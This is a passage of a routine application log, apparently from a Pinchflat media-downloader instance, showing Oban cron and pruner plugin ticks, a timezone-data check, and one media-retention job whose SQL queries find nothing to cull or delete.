{"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:23.363 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:53.365 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.685 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:23.367 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:53.369 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.686 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:23.371 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:53.373 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.687 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:23.375 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:53.377 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.688 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:23.379 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:53.381 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.689 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:23.383 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:53.385 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.690 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:23.387 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:53.389 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.691 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:23.391 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:53.393 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.692 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:23.395 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:53.397 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.693 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:23.399 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:53.401 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.694 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:23.404 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":4} 17:00:53.406 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.695 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:23.408 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:53.410 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.696 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:23.412 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:53.414 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.697 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:23.416 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:53.418 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.698 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:23.420 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:53.422 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.699 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:23.424 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:53.426 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.700 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:23.428 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:53.430 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.701 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:23.432 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:53.434 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.702 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:23.436 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:53.438 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.703 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:23.440 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:53.442 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.704 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:23.444 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:53.446 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.705 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:23.448 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:53.450 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.706 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:23.452 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:53.454 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.707 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:23.456 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:53.458 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.708 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:23.460 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:53.462 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.709 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:23.464 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:53.466 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.710 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:23.468 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:53.470 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.711 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:23.472 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:53.474 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.712 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:23.476 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:53.478 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.713 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:23.480 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:53.482 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.714 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:23.484 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:53.486 [info] {"source":"oban","duration":1817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.715 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:23.489 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:53.491 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.716 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:23.493 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:53.495 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.717 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:23.497 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:53.499 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.718 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:23.501 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:53.503 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.719 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:23.505 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:53.507 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.720 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:23.509 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:53.511 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.721 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:23.513 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:53.515 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.722 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:23.518 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:53.520 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.723 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:23.522 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:53.524 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.724 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:23.526 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:53.528 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.725 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:23.530 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:53.532 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.726 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:23.534 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:53.536 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.727 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:23.538 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:53.540 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.728 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:23.542 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:53.544 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.729 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:23.546 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:53.548 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.730 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:23.550 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:53.552 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.731 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:23.554 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:53.557 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.732 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:23.559 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:53.561 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.733 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:23.563 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:53.565 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.734 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:23.567 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:53.569 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.735 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:23.571 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:53.573 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.736 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:23.575 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:32.573 [debug] Tzdata polling for update. 17:42:32.724 [debug] Tzdata polling shows the loaded tz database is up to date. 17:42:53.577 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.737 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:23.579 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:53.581 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.738 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:23.583 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:53.585 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.739 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:23.587 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:53.589 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.740 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:23.591 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:53.593 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.741 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:23.595 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:53.597 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.742 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:23.599 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:53.601 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.743 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:23.602 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:53.605 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.744 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:23.607 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:53.609 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.745 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:23.611 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:53.613 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.746 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:23.614 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:53.617 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.747 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:23.619 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:53.621 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.748 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:23.623 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:53.625 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.749 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:23.627 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:53.629 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.750 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:23.631 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:53.633 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.751 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:23.635 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:53.637 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.752 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:23.639 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:53.641 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.753 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:23.643 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:53.645 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.757 [info] {"source":"oban","duration":3473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2622]} 18:00:00.764 [info] {"args":{},"id":2622,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1765587600764629522,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 18:00:00.770 [debug] QUERY OK source="media_items" db=4.7ms idle=1136.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.770 [info] Culling 0 media items past their retention date 18:00:00.775 [debug] QUERY OK source="media_items" db=4.8ms queue=0.1ms idle=1141.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.775 [info] Deleting 0 media items that are from before the source cutoff 18:00:00.776 [info] {"args":{},"id":2622,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":11283,"event":"job:stop","queue_time":763034,"attempt":1,"tags":["media_item","local_data"]} 18:00:23.647 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:53.649 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.758 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:23.651 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:53.653 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.759 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:23.655 